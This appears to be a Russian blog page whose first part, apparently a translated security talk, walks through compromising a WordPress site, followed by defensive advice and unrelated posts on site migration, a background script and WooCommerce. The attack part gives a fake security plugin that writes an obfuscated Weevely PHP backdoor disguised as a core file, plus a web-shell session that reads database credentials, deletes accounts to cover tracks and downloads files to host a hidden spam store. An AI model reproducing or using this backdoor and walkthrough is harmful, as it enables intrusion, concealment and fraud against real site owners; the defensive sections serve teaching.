  • Мы разместим код бэкдор в главной директории движка WordPress и назовем его wp-options.php (который не является частью сайта WordPress), чтобы удобней было замаскировать его под легальный файл.

Другие варианты размещения и установки бэкдор – в скрытой директории, которую мы создадим, или либо спрятать глубоко в директории wp-content/uploads.

Мы стараемся избегать размещения бэкдор в директориях wp-admin или wp-includes, т.к. его могут удалить во время обновления версии WordPress.

Плагин Weevely

Наш плагин, который доставит бэкдор в нужное место, выгляди следующим образом:

<?php
/*
Plugin Name: WP Elite Security Pro
Description: WP Elite Security Pro addresses over 250 potential security problems to keep your WordPress site secure like nothing else can.  Includes the Elite Guardian monitoring techology to keep you informed about attacks against your site.
Version: 1.3.1
Author: WP Trust Assurance, Inc.
Author URI: http://wordpress.org/plugins/wp-elite-security
License: GPL3
*/

function wesp_activate() {

  $str = <<<'ENDOFSTRING'
/**
 * Enhanced Security Keys and Salts.
 *
 * These are unique to each WordPress site and are generated automatically
 * during installation and upgrades.  They should not be changed manually.
 *
 * @since 4.0.0
 */
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
ENDOFSTRING;

  $str = "<" . "?php\n" . $str . "\n?" . ">\n";

  $file = fopen( '/var/www/html/wp-options.php', 'w' );
  fwrite( $file, $str );
  fclose( $file );

}

register_activation_hook( __FILE__, 'wesp_activate' );
?>

Строка заголовка полностью придуманный бред, это сделано на случай, если кто-то загрузит плагин во время непродолжительного периода, который у нас будет на его установку.

Мы встроим в плагин единственную функцию, которая заработает после его активации. Функция заключается в создании нового файла /var/www/html/wp-options.php и вписанного в него бэкдор-кода созданого Weevely.

Заметьте, что мы добавили несколько комментариев, которые в действительности полнейший вымысел, в начало файла, содержащего бэкдор. Это сделано с целью придать ему как можно более безобидный вид на случай, если владелец сайта найдет его и просмотрит. Ключ защиты и прочие средства не следует мешать вместе, все должно выглядит на подобие обфусцированного PHP-кода, т.е. быть почти незаметным.

Также заметьте, что мы удалили PHP-тэги из файла Weevely, мы добавим их позднее – это сделано, чтобы предотвратить его преждевременный запуск во время работы плагина.

Загрузка плагина содержащего бэкдор

Упакуйте в папку Zip наш плагин wp-elite-security, загрузите его и активируйте.

Использование программы Weevely

После того, как мы установили бэкдор, мы можем с атакующей машины установить соединение непосредственно с сервером и таким образом выполнить любую команду по нашему желанию:

root@badguy2: ~# weevely http://myblog2.catseye.org/wp-options.php L3tM3In
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/myblog2.catseye.org/wp-options.session'
www-data@myblog2:/var/www/html $ ls -l
total 184
-rw-r--r--  1 www-data www-data   418 Sep 24  2013 index.php
-rw-r--r--  1 www-data www-data 19930 Apr  9 19:50 license.txt
-rw-r--r--  1 www-data www-data  7192 Apr 21 00:42 readme.html
-rw-r--r--  1 www-data www-data  4951 Aug 20 13:30 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Sep  4 12:25 wp-admin
-rw-r--r--  1 www-data www-data   271 Jan  8  2012 wp-blog-header.php
-rw-r--r--  1 www-data www-data  4946 Jun  5 00:38 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2746 Aug 26 15:59 wp-config-sample.php
-rw-rw-rw-  1 www-data www-data  3036 Oct  2 20:14 wp-config.php
drwxr-xr-x  6 www-data www-data  4096 Oct  3 14:30 wp-content
-rw-r--r--  1 www-data www-data  2956 May 13 00:39 wp-cron.php
drwxr-xr-x 12 www-data www-data  4096 Sep  4 12:25 wp-includes
-rw-r--r--  1 www-data www-data  2380 Oct 24  2013 wp-links-opml.php
-rw-r--r--  1 www-data www-data  2714 Jul  7 12:42 wp-load.php
-rw-r--r--  1 www-data www-data 33043 Aug 27 01:32 wp-login.php
-rw-r--r--  1 www-data www-data  8252 Jul 17 05:12 wp-mail.php
-rw-r--r--  1 www-data www-data   856 Oct  3 14:33 wp-options.php
-rw-r--r--  1 www-data www-data 11115 Jul 18 05:13 wp-settings.php
-rw-r--r--  1 www-data www-data 26256 Jul 17 05:12 wp-signup.php
-rw-r--r--  1 www-data www-data  4026 Oct 24  2013 wp-trackback.php
-rw-r--r--  1 www-data www-data  3032 Feb  9  2014 xmlrpc.php
www-data@myblog2:/var/www/html $ :system.info
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses'
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses.new'
+--------------------+------------------------------------------------------------------------------------+
| client_ip          | 192.168.4.144                                                                      |
| max_execution_time | 30                                                                                 |
| script             | /wp-options.php                                                                    |
| check_tor          | False                                                                              |
| open_basedir       |                                                                                    |
| hostname           | myblog2                                                                            |
| php_self           | /wp-options.php                                                                    |
| whoami             | www-data                                                                           |
| uname              | Linux myblog2 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 |
| safe_mode          | 0                                                                                  |
| php_version        | 5.5.9-1ubuntu4.4                                                                   |
| release            | Ubuntu 14.04.1 LTS                                                                 |
| dir_sep            | /                                                                                  |
| os                 | Linux                                                                              |
| cwd                | /var/www/html                                                                      |
| document_root      | /var/www/html                                                                      |
+--------------------+------------------------------------------------------------------------------------+
www-data@myblog2:/var/www/html $

К примеру, вы можете напечатать :help и получите список всех встроенных команд, поддерживаемых Weevely. А все, что не начинается с двоеточия, воспринимается, как команда для веб-сервера-жертвы.

Скрываем следы своего присутствия

Теперь, когда мы знаем, что установленный нами бэкдор работает, убираем все следы нашего посещения сайта с помощью аккаунта администратора, для чего необходимо выполнить следующие шаги:

  • Отключите  только что установленный плагин.
  • Удалите плагин, который мы только что установили.
  • Хотелось бы еще удалить аккаунт администратора, но мы не можем это сделать из своего аккаунта, поэтому просто выходим из системы.

Мы можем удалить аккаунт администратора, созданного эскплойтом, если сами обновим базу данных сайта. Если понадобится, можно будет создать новый аккаунт позднее.

www-data@myblog2:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'PexpD&F');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -h ost localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin      | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org |  | 2014-10-03 00:15:16 |  | 0 | admin |
| 2 | dimuHQRery | $P$BS0KP5qd5Vhs4MVZ7ZIoMcIU0R2AjB/ |       |                              |  | 0000-00-00 00:00:00 |  | 0 |       |
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_users where ID = 2"

No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_usermeta where user_id = 2"
No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org | | 2014-10-03 00:15:16 | | 0 | admin |
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $

Получить идентификационные данные мы можем через wp-config.php  и использовать эту лазейку для получения любой нужной нам информации из базы данных сайта.

Открываем интернет-магазин

Давайте загрузим некоторые HTML файлы на сервер сайта, чтобы создать адрес (не существующего) интернет магазина в скрытой директории.

URL адресом нашего магазина будет:  http://myblog2.catseye.org/wp-content/uploads/2014/10/.store

www-data@myblog2:/var/www/html $ curl -s -O http://www-personal.umich.edu/~markmont/awp/store.tar
www-data@myblog2:/var/www/html $ tar -C /var/www/html -x -f store.tar
www-data@myblog2:/var/www/html $ rm store.tar
www-data@myblog2:/var/www/html $ mv store wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10/.store
index.html
shopkeepers.jpg
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10
www-data@myblog2:/var/www/html $
[!] Exiting. Bye ^^
root@badguy2: ~#

Наш виртуальный магазин

Теперь мы готовы направить 15 млн. писем с URL-адрес нашего магазина!!

Магазин в потайной директории

Вопросы?

Это конец презентации, а слайды, которые идут далее, содержат советы о том, как обезопасить ваш сайт на движке WordPress, а также другую справочную информацию.

Как обеспечить безопасность вашему сайту, работающему на WordPress

Своевременное выполнение обновлений:

  1. Проверяйте не вышли ли новые обновления системы WordPress, тем и плагинов не реже раза в неделю и своевременно выполняйте обновления.

«Но я не хотел бы нарушить уже отлаженные настройки!»

  • Заведите «пробный» сайт, где вы будете апробировать все свежие обновления, прежде чем установить их на основной работающий сайт. Такой проверкой может быть даже установка WordPress на ваш компьютер, если вы не хотите платить за хостинг услуги еще одного сайта.
  • Подождите примерно 2-3 дня, не более, после выхода обновлений, посмотрите в отзывах на форумах о проблемах с новыми обновлениями, и если таковых нет, то можете спокойно обновлять систему.
  • При маловероятном исходе событий, обновление системы может привести к нарушению нормальной работы сайта. В таком случае вернитесь к предыдущей версии (через шелл или SFTP-доступ), либо восстановите сайт из резервной копии (вы ведь регулярно создаете резервные копии, не так ли?).

Вы также можете бесплатно скачать приложение BitNami Stack для WordPress из магазина Mac App Store. Оно позволит с легкостью управлять «пробным» сайтом с экрана вашего компьютера.

Немного больше внимания и усилий потребуют приложения WAMP (для Windows) или MAMP (для Mac).

 

Либо для полного контроля можно арендовать сервер с ОС Linux, который будет выполнять роль виртуальной машины у вас на компьютере.

Позаботьтесь о надежной защите паролей:

  • Если доступ к управлению сайтом имеете только вы и авторы, ограничьте (через настройку конфигураций на веб-сервере) географическое расположение мест, откуда можно входить в систему.
  • В других случаях используйте плагины, такие как Limit Login Attempts или Login Security Solution, ограничивающие число попыток авторизации, предотвращая взлом пароля простым угадыванием.
  • Не сообщайте никому постороннему и не храните на компьютере данные об используемых никах для входа на WordPress. Не следует иметь аккаунт под ником «admin» (если у вас такой существует, замените его на любой другой), и убедитесь, что действительные имена и фамилии авторов, отображаемые в панели управления сайта, не используются ими в качестве логинов для входа (если таковые есть, попросите заменить их на ники).

Следите за защитой паролей:

  • Рекомендации по выбору пароля:
    • Не используйте один и тот же пароль для нескольких сайтов или аккаунтов.
    • Убедитесь, что все ваши пароли достаточно длинные и сложные.
  • Наилучший вариант: создавайте случайные одноразовые пароли с помощью менеджера паролей, например, такие как 1Password или PassPack.
  • Либо: используйте в пароле от четырех и более слов, несвязанных между собой по смыслу (например, «правильный, лошадь, батарея, скоба»).
  • Либо: используйте начальные буквы каждого слова в некоем придуманном вами или взятом из книг предложении, добавив туда числа и знаки пунктуации.

В марте 2013 года интернет-издание Ars Technica опубликовало статью о том, как легко можно взломать пароль.

Если вы решили использовать слова, ни в коем случае не составляйте из них фразы – убедитесь, что слова не связаны по смыслу. Даже редко употребляемые фразы легко угадать, если их использовать в качестве пароля.

Вам необходимо уделить больше внимания двум параметрам защиты: ваш пароль не должен легко разгадываться, и если один из паролей украдут (с этого или других сайтов), убедитесь, что злоумышленник не сможет воспользоваться им для входа в другие используемые вами сервисы.

Поскольку, как оказалось, пароль довольно легко взломать, то ограничить географию мест, откуда пользователи могут входить в аккаунт. Или вам действительно так необходимо свободно входить в панель управления сайтом – без использования VPN – скажем, из какой-нибудь кофейной во Вьетнаме?

Хостинг и (протокол безопасных соединений) SSL:

  • Выбирайте только надежного хорошо зарекомендовавшего себя поставщика хостинг услуг, у которого тщательно следят за вопросами безопасности (прежде чем воспользоваться услугами провайдера, поинтересуйтесь у него о гарантиях безопасности для вашего сайта).
    • Отдавайте предпочтение хостинг провайдеру, который позволит вам установить и самостоятельно управлять движком WordPress, а также всеми имеющимися на площадке темами и плагинами. Таким образом вы будете иметь полный контроль над безопасностью своего сайта.
    • Выбирайте хостинг поставщика, который обеспечивает безопасность операционной системы, веб-сервера, и сервера баз данных для своих клиентов, а также выполняет резервное копирование сайтов своих клиентов.
      • Регулярно проверяйте выполняет ли ваш провайдер хостинга все обновления вовремя, чтобы быть уверенным, что на сайте используется последняя версия патчей ОС, веб-сервера и сервера БД, какие бы дистрибутивы изначально и какое ПО не использовал провайдер, они должны быть своевременно обновляться и иметь поддержку разработчика.
  • Используйте протокол SSL (HTTPS) для страницы аутентификации и для других страниц, доступных только администратору.
    • Если вы не будете использовать протокол SSL, ваше имя пользователя и пароль будут каждый раз отправляться через общедоступную сеть прямым текстом, и могут быть перехвачены.
  • Выберите хостера, который позаботился о предоставлении вам SSL-сертификата, управлении/продлении его действия, и настройке веб-сервера для SSL, так что все, что вам нужно будет сделать, это включить его в WordPress.

Не выбирайте хостинг провайдера, основываясь только на стоимости его услуг!

Веб-сервер и система файлов:

  • Заблокируйте доступ к директориям wp-includes и wp-admin/includes
  • Заблокируйте доступ к .htaccess файлам
  • Заблокируйте доступ или удалите файлы с разрешением .txt и README.
  • Убедитесь, что права на запись к файлам и каталогам, установлены только вам. Последняя цифра разрешения должно всегда быть 0, 4, или 5, но не 6 или 7.

Прочие вопросы:

  • Обеспечьте безопасность ваших баз данных:
    • При установке WordPress выберите для таблицы базы данных иной префикс, чем wp_.
    • Удалите базу данных test.
    • Удалите анонимных пользователей базы данных.
    • Убедитесь, что у базы данных нет свободного доступа через сеть Интернет.
  • Включайте разрешение на редактирование файлов только, когда необходимо внести изменения в тему оформления сайта. Все остальное время у вашего сайта должен быть установлен запрет на редактирование. Для этого в файл wp-config.php добавьте следующую строку:
define('DISALLOW_FILE_EDIT', true);
  • Просканируйте свой сайт программой WPScan.

Имейте в виду, что изменение префикса базы данных не остановит от вторжения эксплойта наподобие такого, какой мы создавали сегодня: эксплойт модуль Metasploit определил таблицу базы данных прежде, чем приступил к созданию аккаунта администратора. Однако, изменение префикса может помочь предотвратить другие атаки, и поэтому это следует сделать.

Включение функции ЗАПРЕТА НА РЕДАКТИРОВАНИЕ ФАЙЛОВ можно, пожалуй, назвать крайней мерой.

Что делать, если произошло проникновение на ваш сайт (ваш сайт взломали)

  1. Переведите сайт на автономную работу (установите профилактический режим). Это поможет не дать злоумышленнику нанести других повреждений сайту или не позволит ему помешать вам восстановить контроль, пока вы исправляете уже созданные взломщиком проблемы.
  1. Сообщите своему хостинг провайдеру о взломе сайта и попросите о помощи.
  2. Создайте резервную копию взломанного сайта, на случай если вам понадобится изучить его позднее.
  3. Просмотрите лог-файлы , чтобы определить, как злоумышленник проник на сайт. Это поможет вам узнать, как устранить проблему и  отыскать, что сделал злоумышленник.
  4. Обновите все, что можно обновить.
  5. Удалите все файлы, страницы, посты, комментарии или процессы, созданные и добавленные взломщиком. Если сомневаетесь, все ли удалили, то запустите новый сайт на WordPress и затем восстановите на его базе последнюю имеющуюся у вас хорошего качества резервную копию сайта.
  6. Замените все пароли, использовавшиеся на сайте. А также смените пароли к админке хостинг провайдера и пароли к базе данных.

Как минимизировать последствия атаки

  • Запретить регистрацию пользователей. Для комментариев используйте аккаунты в социальных сетях.
  • Не публикуйте конфиденциальную информацию на своем сайте (кредитные карты, номер социального страхования, информацию о здоровье и т.д.).
  • Установите автоматическое создание ежедневных бэкапов (как всех файлов, так и базы данных) и тестируйте их на исправность каждый месяц.
  • Делайте заметки о том, как вы настраиваете сайт, так чтобы в дальнейшем знать, какие конфигурации изначально использовались.
  • Составьте примерный план действий на случай взлома вашего сайта – с кем связаться, что делать в такой ситуации и как делать.

Если вы не будете использовать WordPress аккаунты для оставления комментариев, это решит многие проблемы с безопасностью, где главным уязвимым местом являются слабые пароли таких комментаторов вместе с email адресами, которые злоумышленнику можно легко узнать.

Ведение записей служит нескольким целям: во-первых, у вас будут записи того, какие настройки вы использовали, так что в случае каких-либо изменений на сайте, сделанных злоумышленником, вы сможете сразу это определить и устранить его ловушки; во-вторых, вы сможете создать, в случае необходимости, новый сайт с аналогичными настройками, не беспокоясь о том, все ли верно вы воссоздали, в-третьих, ведение записей будет вас стимулировать относиться более внимательно к тому, что вы делаете и к выбору того или иного решения, а также позволит иметь более четкое представление о работе сайта в целом.

Уязвимости площадки WordPress

Представленные далее сайты могут быть полезными, если вы хотите получить более подробную информацию об уязвимостях и возможных вариантах вторжения на WordPress:

Список используемых источников

Если вы хотите узнать об уязвимостях и как хакеры их используют, то список OWASP Топ-10 (указанный выше) может стать хорошей отправной точкой в таком изучении.

Также для продвинутых читателей может быть интересен анализ уязвимостей при сериализации PHP объектов, это была, пожалуй, одна из наиболее сложных уязвимостей, устраненная в 2013 году в сентябрьской версии WordPress 3.6.1:

—————————————-

На этом всё! Планирую в скором времени опубликовать перевод презентации о которой упоминал автор в начале статьи, если вас заинтересовала эта тема подписывайтесь на обновления моего блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!

Перенос сайта на WordPress на другой хостинг.

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Переезд сайта на другой хостинг

Недавно возникла потребность перенести сайт на WordPress с сервера одного хостинг провайдера на сервер другого хостинга. В принципе, причин для этого может быть множество — вас перестали устраивать услуги хостера (большая цена или не удовлетворительное качество), вы купили уже готовый проект или же просто хотите создать тестовую копию вашего творения.

На вопрос «как перенести сайт» может быть много вариантов ответов, всё зависит от того что именно вам нужно — со сменой домена, без смены домена, перенос на Денвер (локальный компьютер), другой движок. В данной статье расскажу о том как произвести перенос сайта на WordPress на примере двух хостинг-провайдеров. Экспорт будет производиться из Hostenko на TimeWeb.

У меня прошло всё гладко. Правда возникало несколько интересных нюансов, о которых я и напишу в этой статье.

Перенос файлов

Первое, с чего мы начнем, это копирование файловой системы. Для этого нам обязательно понадобиться программа FileZilla — без неё перенос сайта на другой хостинг невозможен. Скачиваем. Устанавливаем. Запускаем.

Менеджер сайтов FileZilla

Открываем программу и кликаем по иконке в верхнем левом углу.

В диалоговом окне настраиваем соединение с сервером.

Соединение с сервером

1. Создаем новое соединение.
2. Придумываем ему название.
3, 5, 6. Эти параметры узнаем у хостера (см. ниже).
4. Тип входа Нормальный.
7. Соединиться.

Для соединения нам нужны параметры Хост, Пользователь и Пароль — их мы узнаём в панели управления хостингом (как я говорил в начале поста, переносить ресурс мы будем из Хостенко).

Переходим в Личный кабинет >> Управление хостингом:

Данные для FTP соединения Хостенко.

Отсюда берём данные Хост, Пользователь (login), Пароль.

Теперь мы можем соединиться с сервером по протоколу ftp (File Transfer Protocol).

Перенос файлов с сервера на компьютер

В левой половине экрана мы видим папки и файлы, находящиеся на нашем компьютере, справа — на удалённом сервере. Нам нужно создать папку на компьютере (правой кнопкой мыши «Создать каталог и открыть его») и туда скопировать все содержимое из корневой директории (кликнуть по одному из элементов, нажать на клавиатуре Ctrl+A (выбрать все) и просто перетянуть файлы в нужную нам папку).

Перемещение файлов

Простым перетягиванием копируем файлы к себе на компьютер

Копирование может занять длительное время. У меня этот процесс занял 15 минут.

Выгрузка файлов на сервер

Для начала, в панели управления хостингом (напомню, мы переезжаем на ТаймВеб) нужно создать директорию для переезда.

Это можно сделать двумя способами: либо создать новый сайт и подключить к нему домен (как подключить домен читайте мою статью), либо создать его на поддомене, что, в принципе я и сделал.

Создаем поддомен на хостинге TimeWeb

Создаем новый сайт

1. Придумываем имя для поддомена.
2. Указываем директорию.

Соединяемся по ftp с сервером TimeWeb при помощи уже известной нам программы FileZilla. Данные для подключения мы найдём на главной страничке панели управления.

Данные для FTP

Когда подключимся, мы увидим созданную нами через админку директорию, и уже имеющиеся там папку cgi-bin и файлик index.htm. Вот как прокомментировали наличие этих файлов в службе поддержки:

Индексный файл index.htm и папка cgi-bin создаются автоматически. Вам необходимо добавить индексный файл Вашего сайта и затем удалить файл index.htm. Папка cgi-bin не влияет на работу сайта и также может быть удалена.

Удаляем их и переносим все, что мы сохранили в папку на компьютере в корневую папку на хостинге.

Экспорт-импорт базы данных

Файловую систему мы перенесли. Но это только половина дела. Если мы сейчас перейдем по адресу нашего сайта мы увидим следующее сообщение: Ошибка установки соединения с базой данных. Ясное дело — базы данных (далее буду использовать сокращение БД) у нас то ещё нет.

Экспорт базы данных

Снова возвращаемся в админ-панель Hostenko. Личный кабинет >> Управление хостингом.

Переходим в phpmyadmin

Переходим в phpMyAdmin (панель управления базой данных).

Делаем экспорт таблиц БД.

Экспорт БД

Сохраняем дамп БД в формате SQL себе на компьютер.

 

Импорт и настройка базы данных

Теперь идём в панель управления TimeWeb и создаем новую БД. Обязательно запомните, как вы её назвали и пароль к ней.

Создаём новую базу данных

Открываем в Notepad++ (FTP настраивается по такому же принципу как и в FileZilla) wp-config.php (находится в корневой директории), в нём прописаны настройки к старой БД их нужно изменить на новые:

// ** Параметры MySQL: Эту информацию можно получить у вашего хостинг-провайдера ** //
/** Имя базы данных для WordPress */
define('DB_NAME', 'сюда вписываем имя БД');
/** Имя пользователя MySQL */
define('DB_USER', 'сюда имя пользователя (может совпадать с именем БД)');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'пароль');

Что будет если сейчас открыть главную страницу нашего проекта? Мы увидим следующее сообщение:

Установка wordpress

Ничего устанавливать не нужно. У нас всё установлено. Это происходит, потому что наша база данных ещё пуста. Нам нужно произвести импорт таблиц из старой БД в новую. Для этого переходим в phpMyAdmin (на хостинге на который переезжаем). И импортируем таблицы из дампа SQL на нашем компьютере.

Импорт БД.

1. Переходим во вкладку «Импорт».
2. Выбираем сохраненный ранее дамп БД.
3. Жмём Ok

Процесс завершон

Если мы сейчас откроем наш сайт, мы наконец-то увидим то, что нужно. Но в случае если вы при переезде сменили доменное имя, ресурс может работать не совсем корректно — могут не отображаться картинки, ссылки вести на страницы со старым доменом и др. Это по тому, что в некоторых таблицах БД сохранились «хвосты» от вашего старого домена.

Чтобы это исправить, нам нужно произвести следующие действия:

В phpMyAdmin открываем вкладку SQL и выполняем запросы:

UPDATE wp_options SET option_value = REPLACE (option_value, 'старый домен', 'новый домен') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET guid = REPLACE (guid, 'старый домен', 'новый домен');
UPDATE wp_posts SET post_content = REPLACE (post_content, 'старый домен','новый домен');

Обратите внимание! Имя домена вводим без http://. Иначе адрес вашего сайта может получиться вида http://http://vash_site.ru

Запросы к базе данных.

1. Открываем вкладку SQL.
2. Сюда вписываем запросы.
3. Жмём «Вперёд».

Ну вот! Теперь всё работает как часы! Перенос сайта на другой хостинг произведён! В какой последовательности вы будете выполнять перечисленные действия — не важно, главное их произвести правильно.

Осталась пара нюансов! Нужно удалить упоминания о старом домене (если они конечно есть) в документах .htacess и robots.txt (о настройке роботс.тхт я когда-то писал).

Мы рассмотрели перенос сайта на WordPress, но по такому же принципу можно переместить вебсайт на любом движке. Если у вас ещё остались вопросы по теме «как перенести сайт?», задавайте их в комментариях.

На этом прощаюсь с вами. Подписывайтесь на обновления моего блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!

Скрипт для рондомного отображения background (бекграунда).

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Бекграунд для сайта.

Недавно передо мной возникла задача: придумать что-то, чтобы при каждой перезагрузке страницы, каждый раз загружался новый background страницы.

На каком-то форуме нашел такой скрипт:

var bgPath = '/img/bg';
var imagesNumber = 3;
var rndBg = Math.floor(Math.random() * imagesNumber);
document.body.style.backgroundImage = 'url(' + bgPath + rndBg + '.jpg)';

К скрипту прилагались объяснения, но человек, который обратился за помощью так и не смог в них разобраться.

Я решил испробовать данный скрипт. Вставил всё по существующей инструкции, но и у меня тоже он, почему-то не сработал.

Немного повозился и… О чудо — всё работает!

Давайте вместе разберём этот код, в чем же была причина?

Первое: Данный скрипт нужно вставить после открывающего тега body.
Второе: Путь к изображениям. В шаблоне сайта я создал папку "background" и туда поместил изображения, которые должны рондомно (случайно, каждый раз другое) меняться при каждой перезагрузке страницы. Вы можете назвать эту папку как угодно. Или же совсем не создавать, а запихнуть файлы в уже существующую папку. Главное правильно указать путь к ним (лучше всего указать абсолютный путь).
Третье: Имя файла. В скрипте указано имя файла bg. Давайте и мы назовём свои беграунды bg0, bg1, bg2. Путь к изображению будет формироваться следующим образом: (+ bgPath + rndBg + '.jpg) — путь к картинке/bg (её название (без номера)) + номер картинки + расширение.
Последнее: var imagesNumber = 3 — 3 — это количество background’ов отображаемых в ротации. Если вы укажете число большее, чем число имеющихся у вас картинок — может проскочить «пустой» задний фон.

Пример:

<script type="text/javascript">;
var bgPath = 'http://ваш_сайт/templates/ваш_шаблон/images/backgrounds/bg'<!-- путь к изображениям (На WordPress путь может выглядеть так http://ваш_сайт/wp-content/temes/ваш_шаблон/images/backgrounds/bg)-->
var imagesNumber = 3;<!-- количество отображаемых изображений -->
var rndBg = Math.floor(Math.random() * imagesNumber);
document.body.style.backgroundImage = 'url(' + bgPath + rndBg + '.jpg)';
</script>

Для того чтобы фоновое изображение растягивалось на всю ширину экрана и не прокручивалось с остальным контентом в файл CSS следующий код:

body {
 background: fixed;
 -moz-background-size: 100%; /* Firefox 3.6+ */
 -webkit-background-size: 100%; /* Safari 3.1+ и Chrome 4.0+ */
 -o-background-size: 100%; /* Opera 9.6+ */
 background-size: 100%; /* Современные браузеры */}

Не нужно заменять все атрибуты тега body. Измените только нужные значения атрибута background.

Кстати, возможен другой вариант этой фишки:

var bgFolder = 'img/';
var backgrounds = [
  'bg0.jpg',
  'bg1.jpg',
  'bg2.jpg',
  'bg3.jpg',
  'bg4.jpg'
];
var rndBg = Math.floor(Math.random() * 5);
document.body.style.backgroundImage = 'url(' + bgFolder + backgrounds[rndBg] + ')';

Ну, теперь, я думаю, с этим скриптом вы разберётесь сами. Ну, если нет — смотрите инструкции к предыдущему скрипту — своего рода задачка на логику.

Кстати, если пошёл разговор о задачах на логику — вот вам ещё одна:

Задача на логику

Дошкольники решают эту задачу за 5-10 минут. У некоторых программистов уходит на неё до часа.
Но многие люди, исписав несколько листов бумаги, сдаются.

Маленькие дети не могут составлять уравнения или искать математические закономерности, поэтому они замечают, что значение зависит от количества кружочков в каждой цифре. В «9» один кружочек, в «8» — два, в «1» — ни одного, а, значит, 2581 = 2.

На этом всё. Вопросы в комментариях. Подписывайтесь на обновления блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!

Добавление товара в магазин на WordPress + WooCommerce .

Доброго времени суток, дорогие читатели блога Мои тараканы!

В последнее время всё больше торговых площадок перебираются в интернет. Сейчас в сети можно купить практически любой товар, от тест-полосок для глюкометров до 3d принтера.  Sony, Adidas, HealthPoint — практически все крупные производители предоставляют возможность своим покупателям заказать товар через сеть.

Большим компаниям нанять разработчиков и создать свой  ИМ (интернет-магазин) не составляет никаких проблем. Но как же быть простым ИП? Хотя, в наше время, создать свой блог на WordPress (я даже не беру в счет всевозможные блог платформы) сейчас может даже пенсионер, но вот создание интернет магазина и наполнение его товарами — дело другое.

style=»display:inline-block;min-width:300px;max-width:620px;width:100%;height:90px»
data-ad-client=»ca-pub-4069981169900037″
data-ad-slot=»9687149656″
data-ad-format=»horizontal»>

Сегодняшний пост — это инструкция по наполнению интернет магазина, которую я написал специально для своего клиента. Но, поскольку, инструкция получилась универсальной, любой начинающий веб-мастер может её использовать в своих целях.

Мы будем использовать движок WopdPress и плагин для интернет-магазина WooCommerce. У нас есть следующие вводные: Вордпрес установлен и полностью настроен, WooCommerce подключен и настроен, в магазин добавлены нужные категории товаров. Нам остаётся просто наполнить магазин товарами.

ОГЛАВЛЕНИЕ:

1. Заполнение полей «Описание» и «Название».
2. Виды товаров в магазине на WooCommerce.
3. Создание простого товара.
4. Создание вариативного товара.

И так, приступим. Мы в админке WordPress. Слева располагается менюшка с кучей разных пунктов. Опускаемся до раздела «Товары» и выбираем пункт «Добавить товар».

Меню в админке WoordPress

Меню добавление товара.

Название и описание.

(К оглавлению ⇑)
Заполняем поля название, полное описание и краткое описание.

С названием товара всё понятно. Описание — не подписанное поле сразу за заголовком.

Поля «Название товара» и «Полное описание товара». Используем только текст — для изображений у нас есть соответствующие поля, которые мы рассмотрим ниже.

Краткое описание — данное поле у вас может находиться в самом низу странички, но для удобства его можно переместить простым перетягиванием к полному описанию.

Краткое описание.

Получаем следующий результат:

Так будут отображаться наши поля в карточке товара

Чтобы не возникало вопросов что такое «Простой» или «Вариативный» товар, вставлю небольшое описание всех видов товаров.

Виды товаров в магазине на WooCommerce.

(К оглавлению ⇑)

